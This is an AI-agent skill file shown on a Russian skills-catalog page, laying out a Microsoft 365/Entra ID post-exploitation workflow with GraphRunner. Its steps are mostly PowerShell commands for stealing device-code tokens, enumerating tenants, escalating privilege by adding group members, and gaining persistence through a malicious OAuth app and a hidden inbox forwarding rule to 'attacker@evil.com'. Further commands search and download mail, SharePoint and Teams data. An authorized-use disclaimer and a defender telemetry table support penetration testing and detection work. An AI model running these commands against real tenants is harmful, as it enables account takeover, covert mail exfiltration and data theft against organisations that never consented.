post-exploiting-microsoft-graph-with-graphrunner

mukul975/Anthropic-Cybersecurity-Skills

Разведка, закрепление, повышение привилегий и поиск данных через Microsoft Graph API с GraphRunner.

Звёзды36 321
Авторmukul975
Установок35

Установка

SKILL.md

Post-Exploiting Microsoft Graph with GraphRunner

Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.

Overview

GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.

The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:

  • Authentication — Get-GraphTokens (device-code login), Invoke-RefreshGraphTokens, Invoke-AutoTokenRefresh, Invoke-ImportTokens, Invoke-RefreshToSharePointToken.
  • Recon & Enumeration — Invoke-GraphRecon (tenant/user permission summary), Invoke-DumpCAPS (conditional-access policies), Invoke-DumpApps (app registrations / consent grants), Get-AzureADUsers, Get-SecurityGroups, Get-UpdatableGroups, Get-DynamicGroups, Invoke-SearchUserAttributes, Invoke-GraphOpenInboxFinder, Find-PermissiveCalendars.
  • Persistence — Invoke-InjectOAuthApp (deploy a malicious OAuth app for consent-grant persistence), Invoke-CreateInboxForwardingRule.
  • Privilege Escalation — Get-UpdatableGroups, Invoke-AddGroupMember, Invoke-SecurityGroupCloner, Invoke-InviteGuest.
  • Pillage / Data Search — Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.
  • Master runner — Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.

This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.

When to Use

  • After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
  • When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
  • When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
  • When demonstrating privilege escalation through updatable/dynamic groups.
  • When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.

Prerequisites

  • Written authorization and scope for the target tenant.
  • A Graph token foothold (from Get-GraphTokens device-code login, or imported tokens).
  • PowerShell 5.1+ or PowerShell 7 (cross-platform).
# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1

# List every available module
List-GraphRunnerModules

Objectives

  • Authenticate to Microsoft Graph and maintain tokens via refresh.
  • Enumerate tenant users, groups, CA policies, and OAuth apps.
  • Identify updatable groups and demonstrate privilege escalation.
  • Establish persistence via an injected OAuth app and/or inbox forwarding rule.
  • Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.

MITRE ATT&CK Mapping

IDTacticOfficial Technique NameRole in this skill
T1098PersistenceAccount ManipulationAdd group members, clone groups, invite guests to retain/escalate access
T1098.003Privilege EscalationAccount Manipulation: Additional Cloud RolesAdding members to privileged/updatable groups
T1528Credential AccessSteal Application Access TokenGet-GraphTokens device-code token acquisition
T1087.004DiscoveryAccount Discovery: Cloud AccountGet-AzureADUsers, Invoke-SearchUserAttributes
T1114.002CollectionEmail Collection: Remote Email CollectionInvoke-SearchMailbox over Graph
T1606.002Credential AccessForge Web Credentials: SAML/OAuthInvoke-InjectOAuthApp consent-grant persistence

Workflow

Step 1: Authenticate and refresh tokens

# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens

# Refresh the access token when it expires
Invoke-RefreshGraphTokens

# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh

# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt

Step 2: Recon and enumeration

# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum

# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids

# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens

# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokens

Step 3: Search user attributes for secrets

# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"

Step 4: Privilege escalation via updatable groups

# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens

# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>

# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokens

Step 5: Persistence

# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"

# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "attacker@evil.com" -RuleName "Sync"

Step 6: Pillage M365 data

# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv

# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"

# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx

# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"

Step 7: Automated full pass

# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokens

Tools and Resources

ToolPurposePrimary Source
GraphRunner (repo)PowerShell Graph post-exploitation toolsethttps://github.com/dafthack/GraphRunner
GraphRunner wikiPer-module usage guidehttps://github.com/dafthack/GraphRunner/wiki
BHIS GraphRunner blogTool release + walkthroughhttps://www.blackhillsinfosec.com/introducing-graphrunner/
Microsoft Graph APIAPI reference for the underlying callshttps://learn.microsoft.com/graph/api/overview
ROADtoolsUpstream token acquisition / device-code phishinghttps://github.com/dirkjanm/ROADtools

OPSEC and Detection Considerations

GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:

GraphRunner actionTelemetry sourceWhat the defender sees
Get-GraphTokens (device code)Entra sign-in logsDevice-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP
Invoke-InjectOAuthAppEntra audit logs"Add application" + "Consent to application" events with broad delegated scopes
Invoke-AddGroupMember / Invoke-SecurityGroupClonerEntra audit logs"Add member to group" on privileged/role-assignable groups
Invoke-CreateInboxForwardingRuleM365 audit + mailbox rulesNew inbox rule forwarding externally (often hidden)
Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDriveMicrosoftGraphActivityLogsHigh-volume $search calls against /messages and Drive endpoints

To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.

Validation Criteria

  • <!-- -->Graph tokens obtained via Get-GraphTokens and refreshed successfully.
  • <!-- -->Tenant recon completed (Invoke-GraphRecon, Invoke-DumpCAPS, Invoke-DumpApps).
  • <!-- -->Users and security groups enumerated.
  • <!-- -->User attributes searched for embedded secrets.
  • <!-- -->Updatable groups identified and a controlled privilege escalation demonstrated.
  • <!-- -->Persistence established (OAuth app injection and/or inbox forwarding) where in scope.
  • <!-- -->Mailbox, SharePoint/OneDrive, and Teams searched for sensitive data.
  • <!-- -->All actions, object IDs, and evidence logged for the engagement report and cleanup.

Вставить в README

Ссылка на карточку для вашего README — без картинок и счётчиков.

[DarkPlay: post-exploiting-microsoft-graph-with-graphrunner](https://darkplay.ru/ai/skills/mukul975-anthropic-cybersecurity-skills-post-exploiting-microsoft-graph-with-graphrunner)

Описание

Выполняет разведку, закрепление, повышение привилегий и поиск данных через Microsoft Graph API с помощью GraphRunner.

Похожие скиллы и другие разделы каталога

Популярное в разделе «Скиллы»

Самые востребованные скиллов раздела по установкам и звёздам.

find-skillsvercel-labs · Помогает находить и устанавливать навыки агентов по запросам вроде «как сделать X»…
4 400 000 устан.
grill-memattpocock · Настойчивое интервью для доработки плана или дизайна.
1 600 000 устан.
hyperframesheygen-com · Обязательная точка входа для любых задач по видео, анимации и motion-графике в…
1 600 000 устан.
hyperframes-cliheygen-com · Цикл разработки HyperFrames CLI: init, add, render, preview, publish и другие команды.
1 600 000 устан.
agent-browservercel-labs · CLI для автоматизации браузера для ИИ-агентов: навигация по страницам, заполнение форм…
1 600 000 устан.
media-useheygen-com · Agent Media OS: единый навык для медиа в HyperFrames — BGM, SFX, изображения, голос, LUT.
1 500 000 устан.
hyperframes-registryheygen-com · Установка и подключение блоков реестра в композиции HyperFrames через add и catalog.
1 400 000 устан.
grill-with-docsmattpocock · Настойчивое интервью для доработки плана или дизайна, попутно создающее документацию (ADR…
1 300 000 устан.
improve-codebase-architecturemattpocock · Поиск в кодовой базе возможностей для углубления, визуальный HTML-отчёт о них и детальный…
1 300 000 устан.
tddmattpocock · Разработка через тестирование (TDD): red-green-refactor и интеграционные тесты.
1 300 000 устан.
Похожее в других разделах каталога

Соседние разделы каталога: возможно, нужный инструмент живёт там.

Chief Of Staffaffaan-m · Личный руководитель коммуникаций, который сортирует почту, Slack, LINE и Messenger…
225 587 ★
Database Revieweraffaan-m · Специалист PostgreSQL: оптимизация запросов, схемы, безопасность, Supabase.
225 587 ★
Marketing Agentaffaan-m · Маркетинг-стратег и копирайтер: кампании, позиционирование, тексты и контент-планы.
225 587 ★
ppt-masterhugohe3 · Генерирует нативно редактируемый PPTX из PDF / DOCX / URL / Markdown: настоящие фигуры…
78 033 ★
alloydbanthropics · Создание, подключение и работа с базой данных и данными AlloyDB для PostgreSQL.
100 комп.
cloud-sql-postgresqlanthropics · Создание, подключение и работа с базой данных Cloud SQL for PostgreSQL и её данными.
100 комп.
dataverseanthropics · Навыки агента для разработки, анализа и управления Microsoft Dataverse с помощью…
100 комп.
microsoft-docsanthropics · Доступ к официальной документации Microsoft, справочникам API и примерам кода для Azure…
100 комп.
neonanthropics · Управление проектами и базами данных Neon с помощью навыка агента neon-postgres и Neon…
100 комп.
oracle-ai-data-platform-workbench-spark-connectorsanthropics · Коннекторы Spark для Oracle AI Data Platform Workbench в Claude Code. 18…
100 комп.

Лучшие ИИ-инструменты для генерации видео

Генерация видео

Подборка нейросетей для генерации и монтажа видео. Инструменты, которые превращают текст в готовые ролики, экономят часы на съемках и постпродакшне. Подходит для SMM-специалистов,

VEED.IOVeed
По запросу
5.0
MootionMootion
По запросу
5.0
FlyviFlyvi
Есть бесплатный тариф
4.9
Google Veo 3.1Google
Платно
4.9
Sora (OpenAI)OpenAI
Платно
4.9
PikaPika
Платно
4.9
captions space
Есть бесплатный тариф
4.8
Клайп
Есть бесплатный тариф
4.8
viralpulse.appViralpulse
По запросу
4.8
Viral Maker AIViral-maker
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации текста и копирайтинга

Генерация текста и копирайтинг

Подборка нейросетей для генерации текстов и копирайтинга. Сервисы, которые помогают создавать статьи, посты и рекламные объявления с нуля или по черновику, экономя часы рутинной ра

NeuroscribeNeuroscribe
Есть бесплатный тариф
5.0
GoGPTGogpt
По запросу
5.0
ChatsonicChatsonic
По запросу
4.9
НейроТекстерNeuro-texter
По запросу
4.9
ChatGPTOpenAI
По подписке
4.9
Редактум
Есть бесплатный тариф
4.8
ChadGPTChadgpt
По запросу
4.8
Cosmo ScribeCosmoscribe
Есть бесплатный тариф
4.8
Memo HelperCopilot33
По запросу
4.8
LibraChatLibrachat
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации изображений

Генерация изображений

Подборка нейросетей для генерации изображений от фотореализма до концепт-арта. Сервисы, которые экономят часы ручной работы, создавая визуал для блогов, рекламы и дизайна за минуты

MagviMagvi
По запросу
5.0
DALL-E 3OpenAI
По подписке
5.0
SupaLabSupalab
По запросу
5.0
Freestyling.aiFreestyling
Есть бесплатный тариф
4.9
ArtGeneration.meArtgeneration
Есть бесплатный тариф
4.9
BigjpgBigjpg
По запросу
4.9
Художник от VKVK
Бесплатно
4.9
Wonderink — ИИ-книги
Есть бесплатный тариф
4.8
Avato AI12ai
По запросу
4.8
Virton AIVirton
По запросу
4.8